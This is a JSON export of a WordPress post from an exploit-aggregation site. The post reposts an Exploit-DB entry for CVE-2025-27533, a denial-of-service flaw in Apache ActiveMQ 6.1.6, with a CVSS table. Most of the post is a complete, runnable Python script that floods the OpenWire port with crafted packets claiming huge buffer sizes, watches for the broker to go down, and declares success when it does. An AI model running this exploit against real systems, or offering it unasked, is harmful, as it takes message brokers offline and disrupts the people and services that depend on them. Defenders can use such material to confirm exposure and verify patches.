{"id":3804,"date":"2025-05-09T14:43:14","date_gmt":"2025-05-09T14:43:14","guid":{"rendered":"http:\/\/localhost\/?p=3804"},"modified":"2025-05-09T14:43:14","modified_gmt":"2025-05-09T14:43:14","slug":"apache-activemq-616-denial-of-service-dos","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=3804","title":{"rendered":"Apache ActiveMQ 6.1.6 &#8211; Denial of Service (DOS)"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Apache ActiveMQ 6.1.6 &#8211; Denial of Service (DOS)<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52288<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-09T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-09T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">6.9<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ffaa00; font-weight: bold;\">MEDIUM<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:4.0\/AV:N\/AC:L\/AT:P\/PR:H\/UI:N\/VC:N\/SC:N\/VI:N\/SI:N\/VA:H\/SA:H\/AU:Y\/U:Red\/R:A\/V:D\/RE:M<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2025-27533<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title: Apache ActiveMQ 6.1.6 &#8211; Denial of Service (DOS) Date: 2025-05-9 Exploit Author: [Abdualhadi khalifa (https:\/\/x.com\/absholi7ly\/)&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: Apache ActiveMQ 6.1.6 &#8211; Denial of Service (DOS)<br \/>\n<br \/># Date: 2025-05-9<br \/>\n<br \/># Exploit Author: [Abdualhadi khalifa (https:\/\/x.com\/absholi7ly\/)<br \/>\n<br \/># Github: https:\/\/github.com\/absholi7ly\/CVE-2025-27533-Exploit-for-Apache-ActiveMQ<br \/>\n<br \/># CVE: CVE-2025-27533<\/p>\n<p>import socket<br \/>\n<br \/>import struct<br \/>\n<br \/>import time<br \/>\n<br \/>import datetime<br \/>\n<br \/>import threading<br \/>\n<br \/>import requests<br \/>\n<br \/>import argparse<br \/>\n<br \/>import random<br \/>\n<br \/>from colorama import init, Fore<br \/>\n<br \/>from tabulate import tabulate<br \/>\n<br \/>from tqdm import tqdm<br \/>\n<br \/>from concurrent.futures import ThreadPoolExecutor<\/p>\n<p>init()<\/p>\n<p>def print_banner():<br \/>\n<br \/>    banner = f&#8221;&#8221;&#8221;<br \/>\n<br \/>{Fore.CYAN}============================================================<br \/>\n<br \/>        CVE-2025-27533 Exploit PoC &#8211; Apache ActiveMQ DoS<br \/>\n<br \/>============================================================<br \/>\n<br \/>{Fore.YELLOW}Developed by: absholi7ly<br \/>\n<br \/>{Fore.CYAN}============================================================{Fore.RESET}<br \/>\n<br \/>    &#8220;&#8221;&#8221;<br \/>\n<br \/>    print(banner)<\/p>\n<p>def _check_server_availability(host, port, admin_port=8161, timeout=2):<br \/>\n<br \/>    &#8220;&#8221;&#8221;Internal function to check server availability&#8221;&#8221;&#8221;<br \/>\n<br \/>    tcp_reachable = False<br \/>\n<br \/>    admin_reachable = False<\/p>\n<p>    try:<br \/>\n<br \/>        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br \/>\n<br \/>        sock.settimeout(timeout)<br \/>\n<br \/>        sock.connect((host, port))<br \/>\n<br \/>        sock.close()<br \/>\n<br \/>        tcp_reachable = True<br \/>\n<br \/>    except (socket.timeout, ConnectionRefusedError):<br \/>\n<br \/>        pass<\/p>\n<p>    try:<br \/>\n<br \/>        response = requests.get(f&#8221;http:\/\/{host}:{admin_port}\/admin&#8221;, timeout=timeout)<br \/>\n<br \/>        admin_reachable = response.status_code == 200<br \/>\n<br \/>    except (requests.Timeout, requests.ConnectionError):<br \/>\n<br \/>        pass<\/p>\n<p>    return tcp_reachable, admin_reachable<\/p>\n<p>def check_server_availability(host, port, admin_port=8161, timeout=2, retries=5):<br \/>\n<br \/>    for _ in range(retries):<br \/>\n<br \/>        tcp_reachable, admin_reachable = _check_server_availability(host, port, admin_port, timeout)<br \/>\n<br \/>        if not tcp_reachable:<br \/>\n<br \/>            return False, admin_reachable<br \/>\n<br \/>        time.sleep(0.5)<br \/>\n<br \/>    return True, admin_reachable<\/p>\n<p>def parse_hex_or_int(value):<br \/>\n<br \/>    try:<br \/>\n<br \/>        if value.startswith(&#8216;0x&#8217;) or value.startswith(&#8216;0X&#8217;):<br \/>\n<br \/>            return int(value, 16)<br \/>\n<br \/>        return int(value)<br \/>\n<br \/>    except ValueError:<br \/>\n<br \/>        raise ValueError(f&#8221;Invalid integer or hex value: {value}&#8221;)<\/p>\n<p>def create_malicious_packet(buffer_size=0x1E00000, packet_id=1):<br \/>\n<br \/>    command_type = 0x01<br \/>\n<br \/>    client_id = f&#8221;EXPLOIT-PACKET-{packet_id:04d}&#8221;.encode()<br \/>\n<br \/>    version = 12<\/p>\n<p>    packet = bytearray()<br \/>\n<br \/>    packet += b&#8217;\\x00\\x00\\x00\\x00&#8242;<br \/>\n<br \/>    packet += struct.pack(&#8220;B&#8221;, command_type)<br \/>\n<br \/>    packet += struct.pack(&#8220;>I&#8221;, len(client_id))<br \/>\n<br \/>    packet += client_id<br \/>\n<br \/>    packet += struct.pack(&#8220;>I&#8221;, version)<br \/>\n<br \/>    packet += struct.pack(&#8220;>I&#8221;, buffer_size)<br \/>\n<br \/>    packet += bytes(random.randint(0, 255) for _ in range(50)) <\/p>\n<p>    packet_length = len(packet) &#8211; 4<br \/>\n<br \/>    packet[0:4] = struct.pack(&#8220;>I&#8221;, packet_length)<\/p>\n<p>    return packet<\/p>\n<p>def send_single_packet(host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event):<br \/>\n<br \/>    if stop_event.is_set():<br \/>\n<br \/>        return<\/p>\n<p>    timestamp = datetime.datetime.now().strftime(&#8220;%Y-%m-%d %H:%M:%S.%f&#8221;)[:-3]<br \/>\n<br \/>    tcp_reachable, admin_reachable = check_server_availability(host, port)<br \/>\n<br \/>    status = f&#8221;TCP: {&#8216;Up&#8217; if tcp_reachable else &#8216;Down&#8217;}, Admin: {&#8216;Up&#8217; if admin_reachable else &#8216;Down&#8217;}&#8221;<br \/>\n<br \/>    local_port = &#8220;N\/A&#8221;<br \/>\n<br \/>    connection_status = &#8220;Success&#8221;<\/p>\n<p>    max_connect_retries = 5<br \/>\n<br \/>    for connect_attempt in range(max_connect_retries):<br \/>\n<br \/>        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br \/>\n<br \/>        sock.settimeout(5)<br \/>\n<br \/>        sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 1024)<br \/>\n<br \/>        sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)<br \/>\n<br \/>        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)<br \/>\n<br \/>        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)  <\/p>\n<p>        try:<br \/>\n<br \/>            sock.connect((host, port))<br \/>\n<br \/>            local_port = sock.getsockname()[1]<br \/>\n<br \/>            print(f&#8221;{Fore.GREEN}[+] Connected to {host}:{port} (Packet {packet_num}\/{total_packets}, Port: {local_port}, Buffer: {buffer_size \/\/ (1024*1024)} MB){Fore.RESET}&#8221;)<\/p>\n<p>            max_retries = 3<br \/>\n<br \/>            for attempt in range(max_retries):<br \/>\n<br \/>                try:<br \/>\n<br \/>                    sock.send(packet)<br \/>\n<br \/>                    print(f&#8221;{Fore.CYAN}[*] Sent Packet {packet_num}\/{total_packets} (Port: {local_port}, Buffer: {buffer_size \/\/ (1024*1024)} MB){Fore.RESET}&#8221;)<br \/>\n<br \/>                    try:<br \/>\n<br \/>                        response = sock.recv(2048)<br \/>\n<br \/>                        response_len = len(response)<br \/>\n<br \/>                        connection_status = f&#8221;Success (Response: {response_len} bytes)&#8221;<br \/>\n<br \/>                    except:<br \/>\n<br \/>                        connection_status = &#8220;Success (No Response)&#8221;<br \/>\n<br \/>                    break<br \/>\n<br \/>                except socket.error as e:<br \/>\n<br \/>                    connection_status = f&#8221;Failed: {str(e)}&#8221;<br \/>\n<br \/>                    if attempt < max_retries - 1:\n<br \/>                        print(f&#8221;{Fore.YELLOW}[-] Failed to send Packet {packet_num}\/{total_packets} (Attempt {attempt+1}, Port: {local_port}): {e}. Retrying&#8230;{Fore.RESET}&#8221;)<br \/>\n<br \/>                        time.sleep(0.5)<br \/>\n<br \/>                        continue<br \/>\n<br \/>                    else:<br \/>\n<br \/>                        print(f&#8221;{Fore.RED}[-] Failed to send Packet {packet_num}\/{total_packets} after {max_retries} attempts: {e}{Fore.RESET}&#8221;)<\/p>\n<p>            packet_status.append([packet_num, timestamp, status, local_port, f&#8221;Packet-{packet_num:04d}&#8221;, connection_status])<br \/>\n<br \/>            break<\/p>\n<p>        except socket.timeout:<br \/>\n<br \/>            print(f&#8221;{Fore.RED}[-] Connection timeout for Packet {packet_num}\/{total_packets} (Port: {local_port}){Fore.RESET}&#8221;)<br \/>\n<br \/>            packet_status.append([packet_num, timestamp, &#8220;Connection Timeout&#8221;, local_port, f&#8221;Packet-{packet_num:04d}&#8221;, &#8220;Timeout&#8221;])<br \/>\n<br \/>            break<br \/>\n<br \/>        except socket.error as e:<br \/>\n<br \/>            error_str = str(e)<br \/>\n<br \/>            if &#8220;10053&#8221; in error_str:<br \/>\n<br \/>                error_type = &#8220;Connection Reset&#8221;<br \/>\n<br \/>            elif &#8220;timeout&#8221; in error_str:<br \/>\n<br \/>                error_type = &#8220;Timeout&#8221;<br \/>\n<br \/>            else:<br \/>\n<br \/>                error_type = &#8220;Other&#8221;<br \/>\n<br \/>            if &#8220;10053&#8221; in error_str and connect_attempt < max_connect_retries - 1:\n<br \/>                print(f&#8221;{Fore.YELLOW}[-] [WinError 10053] for Packet {packet_num}\/{total_packets} (Attempt {connect_attempt+1}): {e}. Retrying connection&#8230;{Fore.RESET}&#8221;)<br \/>\n<br \/>                time.sleep(1)<br \/>\n<br \/>                continue<br \/>\n<br \/>            print(f&#8221;{Fore.RED}[-] Error connecting for Packet {packet_num}\/{total_packets} (Port: {local_port}): {e}{Fore.RESET}&#8221;)<br \/>\n<br \/>            packet_status.append([packet_num, timestamp, f&#8221;Error: {error_type}&#8221;, local_port, f&#8221;Packet-{packet_num:04d}&#8221;, f&#8221;Error: {error_str}&#8221;])<br \/>\n<br \/>            break<\/p>\n<p>        finally:<br \/>\n<br \/>            sock.close()<\/p>\n<p>    packet = None  <\/p>\n<p>def send_packets(host, port, total_packets=2000, buffer_sizes=[0x1E00000, 0x3200000]):<br \/>\n<br \/>    packet_status = []<br \/>\n<br \/>    stop_event = threading.Event()<br \/>\n<br \/>    max_threads = 2  <\/p>\n<p>    pbar = tqdm(total=total_packets, desc=&#8221;Sending Packets&#8221;, unit=&#8221;packet&#8221;)<\/p>\n<p>    def monitor_server():<br \/>\n<br \/>        while not stop_event.is_set():<br \/>\n<br \/>            tcp_reachable, _ = check_server_availability(host, port)<br \/>\n<br \/>            if not tcp_reachable:<br \/>\n<br \/>                print(f&#8221;{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}&#8221;)<br \/>\n<br \/>                stop_event.set()<br \/>\n<br \/>                break<br \/>\n<br \/>            time.sleep(1)<\/p>\n<p>    monitor_thread = threading.Thread(target=monitor_server)<br \/>\n<br \/>    monitor_thread.start()<\/p>\n<p>    packet_num = 1<br \/>\n<br \/>    with ThreadPoolExecutor(max_workers=max_threads) as executor:<br \/>\n<br \/>        futures = []<br \/>\n<br \/>        while packet_num <= total_packets and not stop_event.is_set():\n<br \/>            buffer_size = random.choice(buffer_sizes)<br \/>\n<br \/>            packet = create_malicious_packet(buffer_size, packet_num)<br \/>\n<br \/>            future = executor.submit(<br \/>\n<br \/>                send_single_packet,<br \/>\n<br \/>                host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event<br \/>\n<br \/>            )<br \/>\n<br \/>            futures.append(future)<br \/>\n<br \/>            packet_num += 1<br \/>\n<br \/>            pbar.update(1)<br \/>\n<br \/>            time.sleep(random.uniform(0.3, 0.5)) <\/p>\n<p>            if packet_num % 50 == 0:<br \/>\n<br \/>                tcp_reachable, _ = check_server_availability(host, port)<br \/>\n<br \/>                time.sleep(2)<br \/>\n<br \/>                if not tcp_reachable:<br \/>\n<br \/>                    print(f&#8221;{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}&#8221;)<br \/>\n<br \/>                    stop_event.set()<br \/>\n<br \/>                    break<br \/>\n<br \/>                print(f&#8221;{Fore.MAGENTA}[*] {packet_num} packets sent,{Fore.RESET}&#8221;)<\/p>\n<p>    pbar.close()<br \/>\n<br \/>    stop_event.set()<br \/>\n<br \/>    monitor_thread.join()<\/p>\n<p>    packet_status.sort(key=lambda x: x[0])<\/p>\n<p>    total_sent = len(packet_status)<br \/>\n<br \/>    successful = sum(1 for p in packet_status if p[5].startswith(&#8220;Success&#8221;))<br \/>\n<br \/>    failed = total_sent &#8211; successful<\/p>\n<p>    print(f&#8221;\\n{Fore.CYAN}[*] Packet Status Table:{Fore.RESET}&#8221;)<br \/>\n<br \/>    print(tabulate(<br \/>\n<br \/>        packet_status,<br \/>\n<br \/>        headers=[&#8220;Packet #&#8221;, &#8220;Timestamp&#8221;, &#8220;Server Status&#8221;, &#8220;Local Port&#8221;, &#8220;Packet ID&#8221;, &#8220;Connection&#8221;],<br \/>\n<br \/>        tablefmt=&#8221;fancy_grid&#8221;,<br \/>\n<br \/>        stralign=&#8221;center&#8221;,<br \/>\n<br \/>        numalign=&#8221;center&#8221;<br \/>\n<br \/>    ))<\/p>\n<p>    print(f&#8221;\\n{Fore.CYAN}[*] Exploit Statistics:{Fore.RESET}&#8221;)<br \/>\n<br \/>    print(f&#8221;  &#8211; Total Packets Sent: {total_sent}&#8221;)<br \/>\n<br \/>    print(f&#8221;  &#8211; Successful Packets: {successful} ({successful\/total_sent*100:.2f}%)&#8221;)<br \/>\n<br \/>    print(f&#8221;  &#8211; Failed Packets: {failed} ({failed\/total_sent*100:.2f}%)&#8221;)<\/p>\n<p>    tcp_reachable, admin_reachable = check_server_availability(host, port)<br \/>\n<br \/>    print(f&#8221;\\n{Fore.CYAN}[*] Final Server Status:{Fore.RESET}&#8221;)<br \/>\n<br \/>    if not tcp_reachable:<br \/>\n<br \/>        print(f&#8221;{Fore.GREEN}[+] Exploit Successful: TCP port {port} is down!{Fore.RESET}&#8221;)<br \/>\n<br \/>    else:<br \/>\n<br \/>        print(f&#8221;{Fore.YELLOW}[-] Exploit Incomplete: TCP port {port} still up.{Fore.RESET}&#8221;)<\/p>\n<p>    return packet_status<\/p>\n<p>def main():<br \/>\n<br \/>    print_banner()<\/p>\n<p>    parser = argparse.ArgumentParser(description=&#8221;CVE-2025-27533 Exploit PoC for Apache ActiveMQ&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;&#8211;host&#8221;, default=&#8221;127.0.0.1&#8243;, help=&#8221;Target IP address&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;&#8211;port&#8221;, type=int, default=61616, help=&#8221;OpenWire port&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;&#8211;total-packets&#8221;, type=int, default=2000, help=&#8221;Total packets to send&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;&#8211;buffer-sizes&#8221;, type=parse_hex_or_int, nargs=&#8217;+&#8217;, default=[0x1E00000, 0x3200000],<br \/>\n<br \/>                        help=&#8221;Buffer sizes in bytes (decimal or hex)&#8221;)<\/p>\n<p>    args = parser.parse_args()<\/p>\n<p>    print(f&#8221;{Fore.CYAN}[*] Exploit Configuration:{Fore.RESET}&#8221;)<br \/>\n<br \/>    print(f&#8221;  &#8211; Target: {args.host}:{args.port}&#8221;)<br \/>\n<br \/>    print(f&#8221;  &#8211; Total Packets: {args.total_packets}&#8221;)<br \/>\n<br \/>    print(f&#8221;  &#8211; Buffer Sizes: {[f'{size:#x} ({size \/\/ (1024*1024)} MB)&#8217; for size in args.buffer_sizes]}&#8221;)<\/p>\n<p>    print(f&#8221;\\n{Fore.CYAN}[*] Sending malicious packets&#8230;{Fore.RESET}&#8221;)<br \/>\n<br \/>    packet_status = send_packets(args.host, args.port, args.total_packets, args.buffer_sizes)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>\n<br \/>    try:<br \/>\n<br \/>        main()<br \/>\n<br \/>    except KeyboardInterrupt:<br \/>\n<br \/>        print(f&#8221;{Fore.RED}[-] Program interrupted by user.{Fore.RESET}&#8221;)\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52288\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Apache ActiveMQ 6.1.6 &#8211; Denial of Service (DOS) Exploit ID EDB-ID:52288 Type exploitdb Published 2025-05-09T00:00:00 Modified 2025-05-09T00:00:00 CVSS Information&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,48,12,40,21,13,7,11,5],"class_list":["post-3804","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-69","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Apache ActiveMQ 6.1.6 - Denial of Service (DOS) - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=3804\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Apache ActiveMQ 6.1.6 - Denial of Service (DOS) - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Apache ActiveMQ 6.1.6 &#8211; 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